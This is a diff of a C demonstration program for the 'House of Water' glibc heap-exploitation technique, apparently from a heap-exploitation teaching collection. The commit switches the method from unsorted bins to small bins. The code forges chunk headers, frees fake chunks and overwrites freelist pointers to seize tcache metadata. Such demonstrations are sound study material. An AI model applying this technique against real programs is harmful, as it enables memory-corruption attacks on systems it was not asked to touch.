11#include <stdio.h>
22#include <stdlib.h>
33#include <assert.h>
4+ #include <unistd.h>
45
56/*
67 * House of Water is a technique for converting a Use-After-Free (UAF) vulnerability into a t-cache
1415 * size "0x10001" is created.
1516 *
1617 * This fake heap chunk header happens to be positioned above the 0x20 and 0x30 t-cache linked
17- * address entries, enabling the creation of a fully functional fake unsorted -bin entry.
18+ * address entries, enabling the creation of a fully functional fake small -bin entry.
1819 *
1920 * The correct size should be set for the chunk, and the next chunk's prev-in-use bit
2021 * must be 0. Therefore, from the fake t-cache metadata chunk+0x10000, the appropriate values
2122 * should be written.
2223 *
23- * Finally, due to the behavior of allocations from unsorted -bins, once t-cache metadata control
24+ * Finally, due to the behavior of allocations from small -bins, once t-cache metadata control
2425 * is achieved, a libc pointer can also be inserted into the metadata. This allows the libc pointer
2526 * to be ready for allocation as well.
2627 *
@@ -86,25 +87,25 @@ int main(void) {
8687 puts ("\t==============================" );
8788 puts ("\n" );
8889
89- // Step 2: Create the unsorted bins linked list, used for hijacking at a later time
90+ // Step 2: Create the small bins linked list, used for hijacking at a later time
9091 puts ("Now, allocate three 0x90 chunks with guard chunks in between. This prevents" );
9192 puts ("chunk-consolidation and sets our target for the house of water attack." );
9293 puts ("\t- chunks:" );
9394
94- void * unsorted_start = malloc (0x88 );
95- printf ("\t\t* unsorted_start \t@ %p\n" , unsorted_start );
95+ void * small_start = malloc (0x88 );
96+ printf ("\t\t* small_start \t@ %p\n" , small_start );
9697 _ = malloc (0x18 ); // Guard chunk
9798
9899 puts ("\t\t* /guard/" );
99100
100- void * unsorted_middle = malloc (0x88 );
101- printf ("\t\t* unsorted_middle \t@ %p\n" , unsorted_middle );
101+ void * small_middle = malloc (0x88 );
102+ printf ("\t\t* small_middle \t@ %p\n" , small_middle );
102103 _ = malloc (0x18 ); // Guard chunk
103104
104105 puts ("\t\t* /guard/" );
105106
106- void * unsorted_end = malloc (0x88 );
107- printf ("\t\t* unsorted_end \t\t@ %p\n" , unsorted_end );
107+ void * small_end = malloc (0x88 );
108+ printf ("\t\t* small_end \t\t@ %p\n" , small_end );
108109 _ = malloc (0x18 ); // Guard chunk
109110
110111 puts ("\t\t* /guard/" );
@@ -119,7 +120,7 @@ int main(void) {
119120 puts ("\n" );
120121
121122 // Step 3: Satisfy the conditions for a free'd chunk, namely having the correct size at the end of the chunk and
122- // a size field next to it having it's prev-in-use bit set to 0
123+ // a size field next to it having it's prev-in-use bit set to 0
123124 puts ("Make an allocation to reach the end of the faked chunk" );
124125
125126 _ = malloc (0xf000 ); // Padding
@@ -151,8 +152,8 @@ int main(void) {
151152
152153 // Step 4: Free t-cache entries
153154 puts ("Fill up the 0x90 t-cache with the chunks allocated from earlier by freeing them." );
154- puts ("By doing so, the next time a 0x88 chunk is free'd, it ends up in the unsorted -bin" );
155- puts ("instead of the t-cache or small-bins ." );
155+ puts ("By doing so, the next time a 0x88 chunk is free'd, it ends up in the small -bin" );
156+ puts ("instead of the t-cache." );
156157 for (int i = 0 ; i < 7 ; i ++ ) {
157158 free (x [i ]);
158159 }
@@ -165,31 +166,31 @@ int main(void) {
165166 puts ("\t==============================" );
166167 puts ("\n" );
167168
168- // Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps unsorted_start and unsorted_end .
169+ // Step 5: Create a 0x20 and a 0x30 t-cache entry which overlaps small_start and small_end .
169170 // By doing this, we can blindly fake a FWD and BCK pointer in the t-cache metadata!
170171
171172 puts ("Here comes the trickiest part!\n" );
172173
173174 puts ("We essentially want a pointer in the 0x20 t-cache metadata to act as a FWD\n"
174175 "pointer and a pointer in the 0x30 t-cache to act as a BCK pointer." );
175- puts ("We want it such that it points to the chunk header of our unsorted bin entries,\n"
176+ puts ("We want it such that it points to the chunk header of our small bin entries,\n"
176177 "and not at the chunk itself which is common for t-cache.\n" );
177178
178179 puts ("Using a technique like house of botcake or a stronger arb-free primitive, free a" );
179- puts ("chunk such that it overlaps with the header of unsorted_start and unsorte_end ." );
180+ puts ("chunk such that it overlaps with the header of small_start and small_end ." );
180181 puts ("" );
181182
182183 puts ("It should look like the following:" );
183184 puts ("" );
184185
185- puts ("unsorted_start :" );
186- printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], unsortedbin [all][0]\n" , (unsigned long )(unsorted_start - 0x10 ), * (long * )(unsorted_start - 0x10 ), * (long * )(unsorted_start - 0x8 ));
187- dump_memory (unsorted_start , 2 );
186+ puts ("small_start :" );
187+ printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x30][0/1], small [all][0]\n" , (unsigned long )(small_start - 0x10 ), * (long * )(small_start - 0x10 ), * (long * )(small_start - 0x8 ));
188+ dump_memory (small_start , 2 );
188189 puts ("" );
189190
190- puts ("unsorted_end :" );
191- printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], unsortedbin [all][2]\n" , (unsigned long )(unsorted_end - 0x10 ), * (long * )(unsorted_end - 0x10 ), * (long * )(unsorted_end - 0x8 ));
192- dump_memory (unsorted_end , 2 );
191+ puts ("small_end :" );
192+ printf ("0x%016lx\t\t0x%016lx 0x%016lx <-- tcachebins[0x20][0/1], smallbin [all][2]\n" , (unsigned long )(small_end - 0x10 ), * (long * )(small_end - 0x10 ), * (long * )(small_end - 0x8 ));
193+ dump_memory (small_end , 2 );
193194
194195 puts ("\n" );
195196 puts ("If you want to see a blind example using only double free, see the following chal: " );
@@ -206,26 +207,26 @@ int main(void) {
206207 puts ("\n" );
207208
208209 // Step 5 part 1:
209- puts ("Write 0x31 above unsorted_start to enable its freeing into the 0x30 t-cache." );
210- printf ("\t*%p-0x18 = 0x31\n" , unsorted_start );
211- * (long * )(unsorted_start - 0x18 ) = 0x31 ;
210+ puts ("Write 0x31 above small_start to enable its freeing into the 0x30 t-cache." );
211+ printf ("\t*%p-0x18 = 0x31\n" , small_start );
212+ * (long * )(small_start - 0x18 ) = 0x31 ;
212213 puts ("" );
213214
214- puts ("This creates a 0x31 entry just above unsorted_start , which looks like the following:" );
215- dump_memory (unsorted_start - 0x20 , 3 );
215+ puts ("This creates a 0x31 entry just above small_start , which looks like the following:" );
216+ dump_memory (small_start - 0x20 , 3 );
216217 puts ("" );
217218
218- printf ("Free the faked 0x31 chunk @ %p\n" , unsorted_start - 0x10 );
219- free (unsorted_start - 0x10 ); // Create a fake FWD
219+ printf ("Free the faked 0x31 chunk @ %p\n" , small_start - 0x10 );
220+ free (small_start - 0x10 ); // Create a fake FWD
220221 puts ("" );
221222
222223 puts ("Finally, because of the meta-data created by free'ing the 0x31 chunk, we need to" );
223- puts ("restore the original header of the unsorted_start chunk by restoring the 0x91 header:" );
224- printf ("\t*%p-0x8 = 0x91\n" , unsorted_start );
225- * (long * )(unsorted_start - 0x8 ) = 0x91 ;
224+ puts ("restore the original header of the small_start chunk by restoring the 0x91 header:" );
225+ printf ("\t*%p-0x8 = 0x91\n" , small_start );
226+ * (long * )(small_start - 0x8 ) = 0x91 ;
226227 puts ("" );
227228
228- puts ("Now, let's do the same for unsorted_end except using a 0x21 faked chunk." );
229+ puts ("Now, let's do the same for small_end except using a 0x21 faked chunk." );
229230 puts ("" );
230231
231232
@@ -235,22 +236,22 @@ int main(void) {
235236 puts ("\n" );
236237
237238 // Step 5 part 2:
238- puts ("Write 0x21 above unsorted_end , such that it can be free'd in to the 0x20 t-cache:" );
239- printf ("\t*%p-0x18 = 0x21\n" , unsorted_end );
240- * (long * )(unsorted_end - 0x18 ) = 0x21 ;
239+ puts ("Write 0x21 above small_end , such that it can be free'd in to the 0x20 t-cache:" );
240+ printf ("\t*%p-0x18 = 0x21\n" , small_end );
241+ * (long * )(small_end - 0x18 ) = 0x21 ;
241242 puts ("" );
242243
243- puts ("This creates a 0x21 just above unsorted_end , which looks like the following:" );
244- dump_memory (unsorted_end - 0x20 , 3 );
244+ puts ("This creates a 0x21 just above small_end , which looks like the following:" );
245+ dump_memory (small_end - 0x20 , 3 );
245246 puts ("" );
246247
247- printf ("Free the faked 0x21 chunk @ %p\n" , unsorted_end - 0x10 );
248- free (unsorted_end - 0x10 ); // Create a fake BCK
248+ printf ("Free the faked 0x21 chunk @ %p\n" , small_end - 0x10 );
249+ free (small_end - 0x10 ); // Create a fake BCK
249250 puts ("" );
250251
251- puts ("restore the original header of the unsorted_end chunk by restoring the 0x91 header:" );
252- printf ("\t*%p-0x8 = 0x91\n" , unsorted_end );
253- * (long * )(unsorted_end - 0x8 ) = 0x91 ;
252+ puts ("restore the original header of the small_end chunk by restoring the 0x91 header:" );
253+ printf ("\t*%p-0x8 = 0x91\n" , small_end );
254+ * (long * )(small_end - 0x8 ) = 0x91 ;
254255 puts ("" );
255256
256257
@@ -260,27 +261,27 @@ int main(void) {
260261 puts ("\t==============================" );
261262 puts ("\n" );
262263
263- // Step 6: Create the unsorted bin list
264- puts ("Now, let's free the unsorted bin entries!" );
264+ // Step 6: Create the small bin list
265+ puts ("Now, let's free the small bin entries!" );
265266
266- puts ("\t> free(unsorted_end );" );
267- free (unsorted_end );
267+ puts ("\t> free(small_end );" );
268+ free (small_end );
268269
269- puts ("\t> free(unsorted_middle );" );
270- free (unsorted_middle );
270+ puts ("\t> free(small_middle );" );
271+ free (small_middle );
271272
272- puts ("\t> free(unsorted_start );" );
273- free (unsorted_start );
273+ puts ("\t> free(small_start );" );
274+ free (small_start );
274275
275276 puts ("\n" );
276277
277278 // Show the setup as is
278279
279280 puts ("At this point, our heap looks something like this:" );
280281
281- printf ("\t- Unsorted bin:\n" );
282- puts ("\t\tunsorted_start <--> unsorted_middle <--> unsorted_end " );
283- printf ("\t\t%p <--> %p <--> %p\n" , unsorted_start - 0x10 , unsorted_middle - 0x10 , unsorted_end - 0x10 );
282+ printf ("\t- Small bin:\n" );
283+ puts ("\t\tsmall_start <--> small_middle <--> small_end " );
284+ printf ("\t\t%p <--> %p <--> %p\n" , small_start - 0x10 , small_middle - 0x10 , small_end - 0x10 );
284285
285286 printf ("\t- 0x20 t-cache:\n" );
286287 printf ("\t\t* 0x%lx\n" , * (long * )(metadata + 0x90 ));
@@ -292,8 +293,8 @@ int main(void) {
292293 dump_memory (metadata + 0x70 , 4 );
293294 puts ("" );
294295
295- puts ("We can now observe that the 0x30 t-cache points to unsorted_start and 0x20 t-cache points to " );
296- puts ("unsorted_end , which is what we need to fake an unsorted -bin entry and hijack unsorted_middle ." );
296+ puts ("We can now observe that the 0x30 t-cache points to small_start and 0x20 t-cache points to " );
297+ puts ("small_end , which is what we need to fake an small -bin entry and hijack small_middle ." );
297298
298299
299300 puts ("\n" );
@@ -302,29 +303,29 @@ int main(void) {
302303 puts ("\t==============================" );
303304 puts ("\n" );
304305
305- // Step 7: Overwrite LSB of unsorted_start and unsorted_end to point to the fake t-cache metadata chunk
306- puts ("Finally, all there is left to do is simply overwrite the LSB of unsorted_start FWD-" );
307- puts ("and BCK pointer for unsorted_end to point to the faked t-cache metadata chunk." );
306+ // Step 7: Overwrite LSB of small_start and small_end to point to the fake t-cache metadata chunk
307+ puts ("Finally, all there is left to do is simply overwrite the LSB of small_start FWD-" );
308+ puts ("and BCK pointer for small_end to point to the faked t-cache metadata chunk." );
308309 puts ("" );
309310
310311 /* VULNERABILITY */
311- printf ("\t- unsorted_start :\n" );
312- printf ("\t\t*%p = %p\n" , unsorted_start , metadata + 0x80 );
313- * (unsigned long * )unsorted_start = (unsigned long )(metadata + 0x80 );
312+ printf ("\t- small_start :\n" );
313+ printf ("\t\t*%p = %p\n" , small_start , metadata + 0x80 );
314+ * (unsigned long * )small_start = (unsigned long )(metadata + 0x80 );
314315 puts ("" );
315316
316- printf ("\t- unsorted_end :\n" );
317- printf ("\t\t*%p = %p\n" , unsorted_end , metadata + 0x80 );
318- * (unsigned long * )(unsorted_end + 0x8 ) = (unsigned long )(metadata + 0x80 );
317+ printf ("\t- small_end :\n" );
318+ printf ("\t\t*%p = %p\n" , small_end , metadata + 0x80 );
319+ * (unsigned long * )(small_end + 0x8 ) = (unsigned long )(metadata + 0x80 );
319320 puts ("" );
320321 /* VULNERABILITY */
321322
322- puts ("At this point, the unsorted bin will look like the following:" );
323+ puts ("At this point, the small bin will look like the following:" );
323324 puts ("" );
324325
325- puts ("\t- unsorted bin:" );
326- printf ("\t\t unsorted_start <--> metadata chunk <--> unsorted_end \n" );
327- printf ("\t\t %p\t %p %p\n" , unsorted_start , metadata + 0x80 , unsorted_end );
326+ puts ("\t- small bin:" );
327+ printf ("\t\t small_start <--> metadata chunk <--> small_end \n" );
328+ printf ("\t\t %p\t %p %p\n" , small_start , metadata + 0x80 , small_end );
328329
329330
330331 puts ("\n" );
@@ -334,37 +335,19 @@ int main(void) {
334335 puts ("\n" );
335336
336337 // Step 8: allocate to win
337- puts ("Now, simply just allocate a chunk that's within the 0x10000 range" );
338- puts ("to allocate from the faked chunk. As an example, we will allocate a 0x288:" );
339-
340- puts ("\t- 0x288 chunk:" );
338+ puts ("Now, we can get the metadata chunk by doing 10 allocations:" );
339+ puts ("\t7 for tcachebins" );
340+ puts ("\t1 for small_start, which triggers the reverse refilling logic (moving chunks from smallbin to tcache)" );
341+ puts ("\t1 for small_end, it is out first because revere refilling reverses the linked list" );
342+ puts ("\tand the last one is our tcache metadata chunk" );
341343
344+ for (int i = 0 ; i < 9 ; i ++ ) malloc (0x88 );
345+
342346 // Next allocation *could* be our faked chunk!
343- void * meta_chunk = malloc (0x288 );
347+ void * meta_chunk = malloc (0x88 );
344348
345349 printf ("\t\tNew chunk\t @ %p\n" , meta_chunk );
346350 printf ("\t\tt-cache metadata @ %p\n" , metadata );
347351 assert (meta_chunk == (metadata + 0x90 ));
348352 puts ("" );
349-
350-
351- puts ("\n" );
352- puts ("\t==============================" );
353- puts ("\t| BONUS! |" );
354- puts ("\t==============================" );
355- puts ("\n" );
356-
357- // BONUS!
358- puts ("Whilst the primary goal of this house is to provide a leakless way" );
359- puts ("to gain t-cache control by overwriting LSB, a nice bonus is the free LIBC" );
360- puts ("pointer we get as an added bonus to the method!" );
361- puts ("" );
362-
363- puts ("This is what the t-cache metadata will look like after we allocated the" );
364- puts ("t-cache metadata chunk:" );
365- dump_memory (metadata + 0x70 , 4 );
366- puts ("" );
367-
368-
369- puts ("Notice how the 0x20 and 0x30 t-cache now contains a libc pointer to the main_arena." );
370353}
0 commit comments